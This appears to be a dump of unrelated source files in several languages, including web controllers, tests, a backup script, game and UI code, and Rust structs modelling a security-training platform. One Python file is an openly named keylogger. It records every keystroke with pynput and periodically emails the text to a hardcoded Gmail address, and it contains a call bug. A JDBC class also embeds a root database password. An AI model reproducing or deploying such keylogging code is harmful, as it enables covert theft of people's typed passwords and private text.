* @param name */ function delCookie(name) { var exp = new Date(); exp.setTime(exp.getTime() - 1); var cval = getCookie(name); if (cval != null) document.cookie = name + "=" + cval + ";expires=" + exp.toGMTString(); } /** * 检查cookie */ function checkCookie() { if (getCookie("user") == null) { swal("未登录!"); window.location.href = "login.jsp"; } } <!-- cookie操作 end--> function showErrorInfo(info) { $('.alert-danger').css("display", "block"); $('.alert-danger').html(info); }
PHP
UTF-8
1,410
2.578125
3
[ "MIT", "LicenseRef-scancode-unknown-license-reference" ]
permissive
<?php defined('BASEPATH') OR exit('No direct script access allowed'); class Surat extends CI_Controller { /** * Index Page for this controller. * * Maps to the following URL * http://example.com/index.php/welcome * - or - * http://example.com/index.php/welcome/index * - or - * Since this controller is set as the default controller in * config/routes.php, it's displayed at http://example.com/ * * So any other public methods not prefixed with an underscore will * map to /index.php/welcome/<method_name> * @see https://codeigniter.com/user_guide/general/urls.html */ public function index() { $templateProcessor = new \PhpOffice\PhpWord\TemplateProcessor(BASEPATH.'../assets/templatedoc/template1.docx'); $templateProcessor->setValue('nama_kaling', 'meong'); $templateProcessor->setValue('tgl_surat_kelahiran', 'tgl meong'); $templateProcessor->setValue('no_kelahiran', 'no meong'); $templateProcessor->saveAs('assets/outputdoc/hasil.docx'); // Your browser will name the file "hasil.docx" // regardless of what it's named on the server header('Content-Type: application/vnd.openxmlformats-officedocument.wordprocessingml.document'); header("Content-Disposition: attachment; filename=hasil.docx"); readfile('assets/outputdoc/hasil.docx'); // or echo file_get_contents($temp_file); unlink('assets/outputdoc/hasil.docx'); // remove temp file } }
Python
UTF-8
923
2.875
3
[]
no_license
import os class Os: ret = -1 def system(self, cmd): ret = -1 ret = os.system(cmd) # print('system(cmd):', cmd, "ret:", ret) print('system exec: ' + cmd + ' ret:', ret) def popen(self, cmd): ret = os.popen(cmd) # print('popen(cmd):', cmd, "ret:", ret) print('popen exec: ' + cmd) return ret # mOs = Os() # cmd = "ping www.baidu.com" # cmd = "dir *.py" # cmd = "md dir" # cmd = "rd dir" # cmd = "xxx" # cmd = 'tasklist' # cmd = "start regedit" # cmd = "" #mOs.system(cmd) # ret = mOs.popen(cmd) # data = ret.read() # print(ret) # print(data) # if data.find("学习问题解决记录.docx") != -1: # print('find 学习问题解决记录.docx') # else: # print('not find 学习问题解决记录.docx') # if data.find("以毫秒为单位") != -1: # print('find 以毫秒为单位') # else: # print('not find 以毫秒为单位')
C++
UTF-8
611
3.359375
3
[ "MIT" ]
permissive
#include <iostream> #include <iomanip> using namespace std; /* Napisite program u kome cete deklarirati niz od 10 cijelih brojeva koristeci unaprijed deklariranu konstantu. Niz inicijalizirajte vrijednostima parnih brojeva u rasponu od 2 do 20. Na kraju program treba ispisati sve vrijednosti niza na ekran. */ int main() { const int velicina = 10; int niz[velicina]; for (int i = 0; i < velicina; i++) niz[i] = 2 + 2 * i; cout << "Element " << setw(13) << "vrijednost\n"; for (int i = 0; i < velicina; i++) cout << setw(7) << i << setw(13) << niz[i] << endl; system("pause"); return 0; }
Java
UTF-8
2,092
2.484375
2
[]
no_license
package com.fastcampus.javaallinone.project2.mycontact.repository; import com.fastcampus.javaallinone.project2.mycontact.domain.Person; import com.fastcampus.javaallinone.project2.mycontact.domain.dto.Birthday; import org.junit.jupiter.api.Assertions; import org.junit.jupiter.api.Test; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.boot.test.context.SpringBootTest; import java.time.LocalDate; import java.util.List; import java.util.Optional; import static org.junit.jupiter.api.Assertions.*; @SpringBootTest class PersonRepositoryTest { @Autowired private PersonRepository personRepository; @Test void findByName() { List<Person> people = personRepository.findByName("Tony"); Assertions.assertEquals(people.size(), 1); Person person = people.get(0); assertAll( () -> assertEquals(person.getName(), "Tony"), () -> assertEquals(person.getHobby(), "Reading"), () -> assertEquals(person.getAddress(), "Seoul"), () -> assertEquals(person.getBirthday(), Birthday.of(LocalDate.of(1991, 7, 10))), () -> assertEquals(person.getJob(), "Officer"), () -> assertEquals(person.getPhoneNumber(), "010-1234-5678"), () -> assertEquals(person.isDeleted(), false) ); } @Test void findByNameIfDeleted() { List<Person> people = personRepository.findByName("Andrew"); assertEquals(people.size(), 0); } @Test void findByMonthOfBirthday() { List<Person> people = personRepository.findByMonthOfBirthday(7); // assertEquals(people.size(), 3); // assertAll( // () -> assertEquals(people.get(0).getName(), "David"), // () -> assertEquals(people.get(1).getName(), "Tony") // ); } @Test void findPeopleDeleted() { List<Person> people = personRepository.findPeopleDeleted(); assertEquals(people.size(), 1); assertEquals(people.get(0).getName(), "Andrew"); } }
Shell
UTF-8
1,458
4.375
4
[]
no_license
#!/bin/bash # --------------------------------------------------------------------------------------------- # Uses the latest backup taken with the xtrabackup script to create a compressed archive; # also removes archives older than 10 days # --------------------------------------------------------------------------------------------- set -e LOG_FILE="/tmp/archive-db-backup-$(date +%Y-%m-%d-%H.%M.%S).log" echo "" > $LOG_FILE die () { echo -e 1>&2 "$@" exit 1 } fail () { die "...FAILED! See $LOG_FILE for details - aborting.\n" } echo "Preparing copy of the latest backup available on $HOSTNAME..." LAST_BACKUP_TIMESTAMP=`find /backup/mysql/ -mindepth 2 -maxdepth 2 -type d -exec ls -dt {} \+ | head -1 | rev | cut -d '/' -f 1 | rev` DESTINATION="/backup/mysql/archives" ARCHIVE="$DESTINATION/production-data.$(date +%Y-%m-%d-%H.%M.%S).tgz" TEMPFILE=`tempfile` TEMP_DIRECTORY=`mktemp -d` mkdir -vp $DESTINATION [[ -f $TEMPFILE ]] && rm -rf $TEMPFILE /admin-scripts/backup/xtrabackup.sh restore $LAST_BACKUP_TIMESTAMP $TEMP_DIRECTORY echo "Prepared a copy of the data, now creating compressed archive $ARCHIVE..." /usr/bin/ionice -c2 -n7 tar cvfz $TEMPFILE $TEMP_DIRECTORY &> $LOG_FILE || fail /usr/bin/ionice -c2 -n7 rm -rf $TEMP_DIRECTORY &> $LOG_FILE || fail mv $TEMPFILE $ARCHIVE echo "Compressed archive created." echo "Deleting archives older than 3 days..." find $DESTINATION -type f -mtime +3 -exec rm {} \; echo "..done."
Java
UTF-8
1,889
2.84375
3
[]
no_license
import java.sql.Connection; import java.sql.DriverManager; import java.sql.PreparedStatement; import java.sql.SQLException; /** * Created by Max on 12-10-2017. */ public class JDBCCon { private Connection myConn; public Connection connect() { try { myConn = DriverManager.getConnection("jdbc:mysql://localhost:3306/test", "root", "tds4nvw7"); System.out.println("connection established"); }catch (SQLException e){ e.printStackTrace(); } return myConn; } public void disconnect(){ try { myConn.close(); System.out.println("connection closed"); }catch (SQLException e){ e.printStackTrace(); } } public void manipulateData( String name, String type, int launched){ PreparedStatement insertData = null; try{ myConn.setAutoCommit(false); String SQLInsert = "INSERT INTO ships (name, class, launched) VALUES(?,?,?)"; insertData = myConn.prepareStatement(SQLInsert); insertData.setString(1, name); insertData.setString(2, type); insertData.setInt(3, launched); insertData.executeUpdate(); myConn.commit(); } catch (SQLException e) { if (myConn != null) { try { myConn.rollback(); System.out.println("Rolled back."); } catch (SQLException exrb) { exrb.printStackTrace(); } } } finally { try { if (insertData != null ) { insertData.close(); } myConn.setAutoCommit(true); } catch (SQLException excs) { excs.printStackTrace(); } } } }
Python
UTF-8
2,380
3.171875
3
[]
no_license
import pygame import shapes def load_tile(filename): image = pygame.image.load(filename) rect = image.get_rect() assert rect.width == 70 assert rect.height == 70 return image background_filename = './sprites/background.png' grass_filename = './sprites/grass.png' grass_mid_filename = './sprites/grassMid.png' grass_center_filename = './sprites/grassCenter.png' grass_left_filename = './sprites/grassLeft.png' grass_right_filename = './sprites/grassRight.png' background_image = pygame.image.load(background_filename) grass_image = load_tile(grass_filename) grass_mid_image = load_tile(grass_mid_filename) grass_center_image = load_tile(grass_center_filename) grass_left_image = load_tile(grass_left_filename) grass_right_image = load_tile(grass_right_filename) class Level(object): def __init__(self, width, height, grid): self.width = width self.height = height self.grid = grid grid.reverse() def is_filled(self, i, j): if i < 0: return True if j < 0: return True if i >= self.width: return True if j >= self.height: return True return self.grid[j][i] def rects(self): for i in xrange(self.width): for j in xrange(self.height): if self.is_filled(i, j): rect = grass_mid_image.get_rect().move(i*70, (j+1)*70) filled_above = self.is_filled(i, j+1) filled_left = self.is_filled(i-1, j) filled_right = self.is_filled(i+1, j) if filled_above: yield (grass_center_image, rect) elif filled_left and filled_right: yield (grass_mid_image, rect) elif filled_left: yield (grass_right_image, rect) elif filled_right: yield (grass_left_image, rect) else: yield (grass_image, rect) def platforms(self): for i in xrange(self.width): for j in xrange(self.height): if self.is_filled(i, j): filled_above = self.is_filled(i, j+1) if not filled_above: yield shapes.HLine(i*70, (i+1)*70, (j+1)*70)
Java
UTF-8
4,162
2.421875
2
[]
no_license
package com.dantonov.test_task.beanpostprocessor; import com.dantonov.test_task.annotation.Transaction; import java.lang.reflect.Method; import java.util.HashMap; import java.util.HashSet; import java.util.Map; import java.util.Set; import java.util.concurrent.Semaphore; import org.aopalliance.intercept.MethodInterceptor; import org.aopalliance.intercept.MethodInvocation; import org.springframework.aop.Advisor; import org.springframework.aop.framework.ProxyFactory; import org.springframework.aop.support.DefaultPointcutAdvisor; import org.springframework.aop.support.annotation.AnnotationMatchingPointcut; import org.springframework.beans.BeansException; import org.springframework.beans.factory.config.BeanPostProcessor; /** * Бин пост процессор отвечающий за синхронизацию общих ресурсов * * @author Antonov Denis (den007230@gmail.com) */ public class TransactionBeanPostProcessor implements BeanPostProcessor { private static final int MAX_AVAILABLE = 1000; private static final int READ_ONLY_PERMITS = 1; private static final int WRITE_PERMITS = 1000; //id бинов, которые подвергнутся проксированию private static final Set<String> beanNames = new HashSet<>(); //отдельный семафон для каждого типа ресурсов private static final Map<String, Semaphore> synch = new HashMap<>(); //Для каждого потока показывает, был ли вызван acquire, исключает вероятность дедлока private static final Map<Long, Boolean> rememberLock = new HashMap<>(); private static final Advisor advisor; static { AnnotationMatchingPointcut pointcut = AnnotationMatchingPointcut.forMethodAnnotation(Transaction.class); advisor = new DefaultPointcutAdvisor(pointcut, (MethodInterceptor) (MethodInvocation mi) -> { long threadId = Thread.currentThread().getId(); Boolean isLocked = rememberLock.get(threadId); if (isLocked != null && isLocked) { return mi.proceed(); } Object result; Transaction tr = mi.getMethod().getDeclaredAnnotation(Transaction.class); Semaphore semaphore = synch.get(tr.resource()); rememberLock.put(threadId, Boolean.TRUE); semaphore.acquire(tr.readOnly() ? READ_ONLY_PERMITS : WRITE_PERMITS); result = mi.proceed(); semaphore.release(tr.readOnly() ? READ_ONLY_PERMITS : WRITE_PERMITS); rememberLock.put(threadId, Boolean.FALSE); return result; }); } @Override public Object postProcessBeforeInitialization(Object o, String string) throws BeansException { for (Method method : o.getClass().getMethods()) { Transaction tr = method.getAnnotation(Transaction.class); if (tr == null) { continue; } beanNames.add(string); String resource = tr.resource(); if (!synch.containsKey(resource)) { synch.put(resource, new Semaphore(MAX_AVAILABLE, true)); } } return o; } @Override public Object postProcessAfterInitialization(Object o, String string) throws BeansException { if (beanNames.contains(string)) { ProxyFactory proxyFactory = new ProxyFactory(); proxyFactory.setOptimize(false); proxyFactory.addAdvisor(advisor); proxyFactory.setTarget(o); return proxyFactory.getProxy(); } return o; } }
Ruby
UTF-8
172
3.46875
3
[]
no_license
class Person attr_reader :name def name=(name) @name = name end def to_s @name end end person1 = Person.new person1.name = 'Jessica' puts person1.name
JavaScript
UTF-8
3,478
2.71875
3
[ "MIT" ]
permissive
// Load the http module to create an http server. var http = require('http'); const util = require('util') var fs = require('fs'); // console.log(util.inspect(myObject, {showHidden: false, depth: null})) // alternative shortcut // console.log(util.inspect(myObject, false, null)) // Configure our HTTP server to respond with Hello World to all requests. var server = http.createServer(function (request, response) { // console.log("request = " + request); // console.log(util.inspect(request, false, null)) // console.log("response = " + response); // console.log(util.inspect(response, false, null)) // console.log("request.url = " + request.url); if (request.url == '/') { response.writeHead(200, {"Content-Type": "text/html"}); fs.readFile('my-app/target/site/index.html', 'utf8', function (err, data) { if (err) { return console.log(err); } response.end(data) }); } else if (request.url == '/project-info.html' || request.url == '/project-summary.html' || request.url == '/plugins.html' || request.url == '/plugin-management.html' || request.url == '/index.html' || request.url == '/dependency-convergence.html' || request.url == '/dependency-info.html' || request.url == '/dependencies.html') { response.writeHead(200, {"Content-Type": "text/html"}); fs.readFile('my-app/target/site' + request.url, 'utf8', function (err, data) { if (err) { return console.log(err); } response.end(data) }); } else if (request.url == '/css/maven-base.css' || request.url == '/css/print.css' || request.url == '/css/site.css' || request.url == '/css/maven-theme.css') { response.writeHead(200, {"Content-Type": "text/css"}); fs.readFile('my-app/target/site' + request.url, 'utf8', function (err, data) { if (err) { return console.log(err); } response.end(data) }); } else if (request.url == '/images/logos/maven-feather.png' || request.url == '/images/external.png') { response.writeHead(200, {"Content-Type": "image/png"}); fs.readFile('my-app/target/site' + request.url, function (err, data) { if (err) { return console.log(err); } response.end(data, 'binary') }); } else if (request.url == '/images/expanded.gif' || request.url == '/images/icon_success_sml.gif' || request.url == '/images/icon_info_sml.gif' || request.url == '/images/icon_info_sml.gif' || request.url == '/images/icon_success_sml.gif') { response.writeHead(200, {"Content-Type": "image/gif"}); fs.readFile('my-app/target/site' + request.url, function (err, data) { if (err) { return console.log(err); } response.end(data, 'binary') }); } else { response.writeHead(200, {"Content-Type": "text/plain"}); response.end("End of the Internet\n"); console.log("request.url = " + request.url); } // response.end("Hello World\n"); }); // Listen on port 8000, IP defaults to 127.0.0.1 server.listen(8000); // Put a friendly message on the terminal console.log("Server running at http://127.0.0.1:8000/");
JavaScript
UTF-8
1,771
2.6875
3
[]
no_license
import React, { Component } from 'react'; import axios from 'axios'; import './Favts.css' class Favts extends Component{ constructor(){ super(); this.state={ favts:[], } } componentDidMount(){ axios.get('/buyers/favts') .then(res => { console.log ('**SHOW', res) this.setState({favts: res.data}) }) } async removeFl(id){ console.log('**WHATSTHIS**',id) let resp = await axios.delete(`/favts/${id}`) if(resp.data === 'OK'){ axios.get('/buyers/favts') .then(res => { console.log ('**SHOW', res) this.setState({favts: res.data}) }) } } render(){ let favorites= this.state.favts.map((ele, i, arr) => { // (ele) return ( <div className='favt-item' key={i}> <p>{ele.address}</p> <p> {ele.price}</p> <p> {ele.beds}</p> <p> {ele.bath}</p> <p> {ele.area_sqft}</p> <p> {ele.description}</p> <button onClick={()=>this.removeFl(ele.listings_id)}>delete</button> </div> ) }) return ( <div className='favts'> <h1>MY FAVORITES</h1> <div> {favorites} </div> {/* {[<p>'hi'</p>, <p>'how'</p>, <p>'are'</p>]} {[<h1>BYU56</h1>, <h1>`lat40.498701,lng-74.44672254`</h1>, <h1>`lat43.659428,-79.3771162000`</h1>]} */} </div> ) } } export default Favts
Java
UTF-8
1,032
2.21875
2
[]
no_license
package com.example.duan1maifix.ui.score; import android.content.Context; import android.database.Cursor; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.CursorAdapter; import android.widget.TextView; import com.example.duan1maifix.R; public class ScoreAdapter extends CursorAdapter { public ScoreAdapter(Context context, Cursor c, boolean autoRequery) { super(context, c, autoRequery); } @Override public View newView(Context context, Cursor cursor, ViewGroup parent) { final View view = LayoutInflater.from(context).inflate(R.layout.item_list_score, parent, false); return view; } @Override public void bindView(View view, Context context, Cursor cursor) { TextView tvScore = (TextView) view.findViewById(R.id.tvScore); TextView tvName = (TextView) view.findViewById(R.id.tvNameStudent); tvName.setText(cursor.getString(1)); tvScore.setText(cursor.getInt(2) + ""); } }
Markdown
UTF-8
3,106
2.84375
3
[ "Unlicense" ]
permissive
# L’activité physique au travail n’est pas forcément bonne pour le coeur Published at: **2019-11-05T10:07:39+00:00** Author: **** Original: [Capital.fr](https://www.capital.fr/votre-carriere/lactivite-physique-au-travail-nest-pas-forcement-bonne-pour-le-coeur-1354456) Une étude menée par l’Inserm en collaboration avec une équipe australienne alerte quant aux risques éventuels de l’exercice physique au travail (port de charges lourdes…) sur la santé cardiovasculaire. “Pour votre santé, pratiquez une activité physique régulière”, “Pour votre santé, bougez plus”... Des recommandations diffusées à répétition dans les spots télévisés. Mais si faire du sport contribue généralement à la santé, tout type d’activité physique n’a pas forcément des effets bénéfiques. Une nouvelle étude l’Inserm menée en collaboration avec une équipe australienne, pointe notamment les effets néfastes de l’activité physique au travail sur la santé cardiovasculaire. Si la pratique régulière d’une activité physique est largement recommandée à l’échelle internationale, l’étude, dont les résultats sont publiés dans la revue Hypertension, rappelle que “le concept d’activité est large” et que “peu de travaux scientifiques se sont penchés sur les effets de différents types d’exercices physiques sur la santé”. Pour mener à bien cette étude, les équipes de Jean-Philippe Empana et Xavier Jouven, Pierre Boutouyrie (Inserm/Université de Paris) qui ont collaboré avec Rachel Climie du Baker Heart Institute de Melbourne, se sont appuyés sur les données de l’Enquête Prospective Parisienne III. Une étude française qui suit depuis dix ans l’état de santé de plus de 10.000 volontaires, âgés de 50 à 75 ans et recrutés au cours d’un bilan de santé au Centre d’examen de santé de Paris. Trois types d’exercices physiques sont ainsi distingués : l’activité physique sportive, celle au travail (comme le port de charges lourdes), et le sport de loisirs (jardinage par exemple). Dans leurs analyses, les chercheurs se sont interrogés sur les conséquences de la pénibilité au travail. Ils ont notamment associé l’activité physique au travail au baroréflexe neural. Par définition, deux composantes constituent le baroréflexe qui est un réflexe déclenché après la stimulation des récepteurs situés dans les sinus carotidiens et le sinus de l’aorte. La première est mécanique et correspond à une mesure de la rigidité de l’artère. La seconde, associée à l’effort physique au travail, est donc neurale : “une mesure des signaux nerveux envoyés par les récepteurs présents sur les parois de l’artère, en réponse à une distension de celle-ci”. Résultat, l’exercice physique au travail présente des dangers pour la santé cardiovasculaire. L’étude explique qu’une anomalie du baroréflexe neural est liée à des pathologies rythmiques. Des efforts physiques répétés comme le port de charges lourdes exposeraient donc davantage les travailleurs au risque d’un arrêt cardiaque.
Python
UTF-8
2,347
2.671875
3
[]
no_license
sentence = "" USERNAME = "" PASSWORD = "" def start_logging_keys(): global sentence import pynput.keyboard from pynput.keyboard import Key sentence = "" def key_press(key): global sentence if key == Key.enter: sentence += '\n' elif key == Key.caps_lock: sentence += "[CAPS_LOCK]" elif key == Key.shift or key == Key.shift_r or key == Key.shift_l: sentence += "[SHIFT]" elif key == Key.tab: sentence += " " elif key == Key.ctrl: sentence += "[CTRL]" elif key == Key.space: sentence += " " elif key == Key.alt: sentence += "[ALT]" elif key == Key.cmd: sentence += "[COMMAND]" elif key == Key.left: sentence += "[LEFT]" elif key == Key.right: sentence += "[RIGHT]" elif key == Key.up: sentence += "[UP]" elif key == Key.down: sentence += "[DOWN]" elif key == Key.backspace: sentence += "[BACKSPACE]" elif key == Key.esc: sentence += "[ESC]" else: sentence += str(key.char) def on_release(key): if key == Key.esc: # Stop listener return False keyboard_listener = pynput.keyboard.Listener(on_press=key_press, on_release=on_release) keyboard_listener.start() return keyboard_listener def start_periodic_send_email(text, interval): global sentence, USERNAME, PASSWORD import threading from hack.send import send_mail ticker = threading.Event() try: while not ticker.wait(interval): if len(sentence) > 0: send_mail(USERNAME, PASSWORD, 'tejashah88@gmail.com', sentence) sentence = "" except KeyboardInterrupt: ticker.set() def start_email_keylogger(): print('starting to log keys...') keyboard_listener = start_logging_keys() print('starting email broadcaster...') start_periodic_send_email(2 * 60) # gracefully shutdown import signal import sys def signal_handler(sig, frame): print('You pressed Ctrl+C!') keyboard_listener.stop() sys.exit(0) signal.signal(signal.SIGINT, signal_handler) print('Press Ctrl+C') signal.pause()
C#
UTF-8
1,218
2.6875
3
[]
no_license
using System; using System.Collections.Generic; using System.IO; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; namespace ListSharp { class IO { public static string filename = "", scriptfile = "", currentdir = ""; public static void setScriptFile(string arg) { if (!File.Exists(arg)) debug.throwException("Initializing error, invalid script", "reason: Script file doesnt exist", debug.importance.Fatal); if (Path.GetExtension(arg) != ".ls") debug.throwException("Initializing error, invalid script type", "reason: Script file not from .ls type", debug.importance.Fatal); scriptfile = arg; } public static void setScriptLocation() { currentdir = Path.GetDirectoryName(scriptfile); } public static void setFileName() { filename = Path.GetFileName(scriptfile); } public static string getFullCode() => File.ReadAllText(scriptfile); public static string getExePath() => scriptfile.Substring(0, scriptfile.Length - 2) + "exe"; } }
Java
UTF-8
821
2.15625
2
[]
no_license
package com.example.demo_code9prj.controler; import com.example.demo_code9prj.models.Order; import com.example.demo_code9prj.repository.BookRepository; import com.example.demo_code9prj.repository.OrderRepository; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RestController; import java.util.List; import java.util.logging.Logger; @RestController("/orders") public class OrderController{ private Logger logger = Logger.getLogger(getClass().getName()); @Autowired private OrderRepository orderRepository; @Autowired private BookRepository bookRepository; @GetMapping public List<Order> getAll() { return (List<Order>) orderRepository.findAll(); } }
Swift
UTF-8
2,947
2.796875
3
[]
no_license
// // FirstViewController.swift // lab 1 // // Created by Ryan Tabler on 2/6/18. // Copyright © 2018 Ryan Tabler. All rights reserved. // import UIKit class FirstViewController: UIViewController, UIPickerViewDelegate, UIPickerViewDataSource { @IBOutlet weak var modesPicker: UIPickerView! @IBOutlet weak var scaleLabel: UILabel! let modeComponent = 1 let rootComponent = 0 // var allData = [String: [[String: [Int]]]]() var modesData = [String: [Int]]() var modeNames = [String]() var rootNames = [String]() // var chordNames override func viewDidLoad() { super.viewDidLoad() // Get Mode information from plist if let plistUrl = Bundle.main.url(forResource: "modes", withExtension: "plist") { let plistdecoder = PropertyListDecoder() do { let data = try Data(contentsOf: plistUrl) modesData = try plistdecoder.decode([String: [Int ]].self, from: data) modeNames = Array(modesData.keys) rootNames = ["C","Db","D","Eb","E","F","Gb","G","Ab","A","Bb","B"] modesPicker.selectRow(5, inComponent: modeComponent, animated: true) scaleLabel.text = calcScale(mode: "Ionian", root: 0) } catch { print(error) } } else { print("Could not find plist") } } func numberOfComponents(in pickerView: UIPickerView) -> Int { return 2 } // number of rows in component func pickerView(_ pickerView: UIPickerView, numberOfRowsInComponent component: Int) -> Int { if component == modeComponent { return modeNames.count } else if component == rootComponent { return rootNames.count } return 0 } // row names func pickerView(_ pickerView: UIPickerView, titleForRow row: Int, forComponent component: Int) -> String? { if component == modeComponent { return modeNames[row] } else if component == rootComponent { return rootNames[row] } return "ERROR" } func calcScale(mode:String, root:Int) -> String { let chordPattern = modesData[mode] var scale = "" for c in chordPattern! { let noteIndex = (c+root) % 12 scale += rootNames[noteIndex] scale += " " } scale += rootNames[root] return scale } func pickerView(_ pickerView: UIPickerView, didSelectRow row: Int, inComponent component: Int) { let selectedMode = modeNames[modesPicker.selectedRow(inComponent: modeComponent)] let selectedRootNumber = modesPicker.selectedRow(inComponent: rootComponent) let scale = calcScale(mode: selectedMode, root: selectedRootNumber) scaleLabel.text = scale } override func didReceiveMemoryWarning() { super.didReceiveMemoryWarning() // Dispose of any resources that can be recreated. } }
Ruby
UTF-8
675
2.5625
3
[]
no_license
class YoutubeVideo require 'httparty' def self.get id url = 'https://www.googleapis.com/youtube/v3/videos?part=snippet%2CcontentDetails&key=' + Config.get('google_api_key') + '&id=' + id response = HTTParty.get url tmp = JSON.parse response.body snippet = tmp['items'][0]['snippet'] contentDetails = tmp['items'][0]['contentDetails'] data = Hash.new data[:title] = snippet['title'] data[:description] = snippet['description'] data[:thumbnail] = snippet['thumbnails']['maxres']['url'] data[:duration] = contentDetails['duration'] data[:definition] = contentDetails['definition'] return data end end
Rust
UTF-8
7,822
2.75
3
[]
no_license
/// Subscription /// /// category => problem category /// struct Subscription { id: ID, } /// CompanyCode /// /// code => invite code used to sign up /// struct CompanyCode { id: ID, code: String, } /// Company /// /// companies purchase a subscription /// /// subscription => subscription 30 days/1 year /// struct Company { id: ID, subscription: Subscription, codes: Vec<CompanyCode> } /// Team /// /// members => users in a team /// struct Team { id: ID, name: String, members: Vec<User> } /// User /// /// invite_code => code used to signup /// struct User { id: ID, name: String, invite_code: CompanyCode } /// Contest /// /// participants => teams in the contest /// struct Contest { id: ID, name: String, participants: Vec<Team> } /// Challenge /// /// timer => timer controling duration /// problems => a challenge should contain problems /// struct Challenge { id: ID, timer: Timer, problems: Vec<Problem> } /// Timer /// /// max_duration => minutes of how long a problem should take /// start_time => start time of problem /// end_time => end time of problem /// elaped_time => elaped time of problem /// struct Timer { id: ID, max_duration: i64, start_time: Option<DateTime<utc>>, end_time: Option<DateTime<utc>>, elaped_time: Option<DateTime<utc>>, } /// ServiceCategory /// /// LOAD_BALANCER => ie. nginx/haproxy /// WEB_APPLICATION => ie. frontend /// DATABASE => ie. mysql/postgres /// enum ServiceCategory { LOAD_BALANCER, WEB_APPLICATION, WEB_SERVICE, DATABASE, } /// Service /// /// service_category => service category /// max_points => max points possible from service uptime /// public_facing => boolean /// struct Service { id: ID, service_category: ServiceCategory, max_points: i64, public_facing: bool, } /// ProblemSkill /// /// CODE_REVIEW => review code /// PR_APPROVAL => approve code /// MITIGATION => prevent exploit /// RECOVERY => recover from exploit /// BACKUP => create backups /// ACCESS_ROLES => control access of users /// CREDENTIALS => provision/rotate creds /// SECRETS_MANAGEMENT => use a secrets manager /// AUTOMATION => script and automate manual tasks /// THREAT_HUNTING => find the threat /// WHITELISTING => whitelist activity /// BLACKLISTING => blacklist activity /// ANOMOLY_DETECTION => identify what is normal /// FIREWALL_RULES => control ingress/egress traffic /// enum ProblemSkill { CODE_REVIEW, PULL_REQUEST_APPROVAL, UPDATING, BACKUP, ACCESS_ROLES, USER_PROVISIONING, CREDENTIAL_ROTATION, SECRETS_MANAGEMENT, AUTOMATION, INDICATORS_OF_COMPROMISE_ARTIFACTS, WHITELISTING, BLACKLISTING, ANOMOLY_DETECTION, FIREWALL_RULES, } /// ProblemCategory /// /// REVIEW => reviewing code /// SYSTEM => configure system /// PATCH => update a package/library /// SCRIPT => write a script /// RULE => create a firewall/ids rule /// FORENSICS => find an artifact /// enum ProblemCategory { REVIEW, SYSTEM, PATCH, SCRIPT, RULE, FORENSICS, } /// ProblemDifficulty /// /// Individual Contributer Level /// Years in industry + Credentials + Impactful Projects /// /// IC1 = entry level, 0 years /// IC2 = junior, 1-3 years /// IC3 = senior, 3-5 years /// IC4 = professional, 5+ years /// IC5 = team leader/captain/manager, 10+ years /// /// EASY => IC1 - IC3 /// HARD => IC4 = IC5 /// enum ProblemDifficulty { EASY, HARD, } /// Common technology categories commonly used in industry enum TechnologyCategory { INTRUSION_PREVENTION_SYSTEM, INTRUSION_DETECTION_SYSTEM, FIREWALL, WEB_APPLICATION_FIREWALL, FILE_INTEGRITY_MONITORING, DEBUGGER, VULNERABILITY_SCANNER, STATIC_ANALYSIS, DYNAMIC_ANALYSIS, } /// Technology /// /// The technology used to solve this problem must be easy to use /// /// category => technology category /// git_repository => github repository /// struct Technology { id: ID, category: TechnologyCategory, git_repository: String, } /// Problems should be solvable according to IC level. /// Must be a real-world common day-to-day problem /// The technology used to solve this problem must be easy to use /// /// category => problem category /// technology => technology involved in problem /// difficulty => easy or hard /// solved => true or false /// average_time => average time of all attempts /// vulnerabilities => exposed vulnerabilities that can be exploited /// service => services that are deployed to host this problem /// threats => attackers participating in challenge /// max_points => max points when solving problem /// max_strikes => amount of attempt before failing problem /// diminishing_return => point deduction when getting strike /// solution => ID of solution /// struct Problem { id: ID, category: ProblemCategory, technology: Technology, difficulty: ProblemDifficulty, solved: bool, average_time: Option<DateTime<utc>>, vulnerabilities: Vec<Vulnerability>, services: Vec<Service>, threats: Vec<Threat>, max_points: i64, max_strikes: i64, diminishing_returns: i64, solution: Solution, } /// SolutionCategory /// /// FLAG => string containing answer /// HASH => keep the ingrity of the file /// TEXT => some words /// CODE => file/string containing code to pass a unit test /// enum SolutionCategory { FLAG, HASH, TEXT, CODE, } /// Solution /// /// category => the category of te solution /// content => the answer to the problem /// struct Solution { id: ID, category: SolutionCategory, content: String, } /// VulnerablilityCategory /// /// category defined by cve.mitre.org /// /// MISCONFIGURATION => should be categorized /// REMOTE_CODE_EXEC => remote code execution /// enum VulnerabilityCategory { MISCONFIGURATION, REMOTE_CODE_EXEC, } /// Vulnerablility /// /// category => should be categorized /// struct Vulnerability { id: ID, category: VulnerabilityCategory, } /// ThreatCategory /// /// HUMAN => an human player /// SCRIPT => an automated metasploit script /// enum ThreatCategory { HUMAN, SCRIPT, } /// ThreatDifficulty /// /// SCRIPT_KIDDIE => copy pasta scripts /// BOTNET => botnet domains /// APT => apt indicators /// enum ThreatDifficulty { SCRIPT_KIDDIE, BOTNET, APT, } /// Threat /// /// category => should be categorized /// difficulty => should be defined /// struct Threat { id: ID, category: ThreatCategory, difficulty: ThreatDifficulty, } /// ArtifactCategory /// /// FILE => file_name + contents /// PAYLOAD => data sent /// NETWORK => established connection traffic /// DOMAIN => dns host /// enum ArtifactCategory { FILE, PAYLOAD, NETWORK, DOMAIN, } /// Artifact /// /// category => different categories to prove a compromise /// struct Artifact { id: ID, category: ArtifactCategory, } /// Compromise /// /// artifacts => all indicators leading to compromise /// struct Compromise { id: ID, artifacts: Vec<Artifact>, }
Java
UTF-8
1,517
2.328125
2
[ "ECL-2.0" ]
permissive
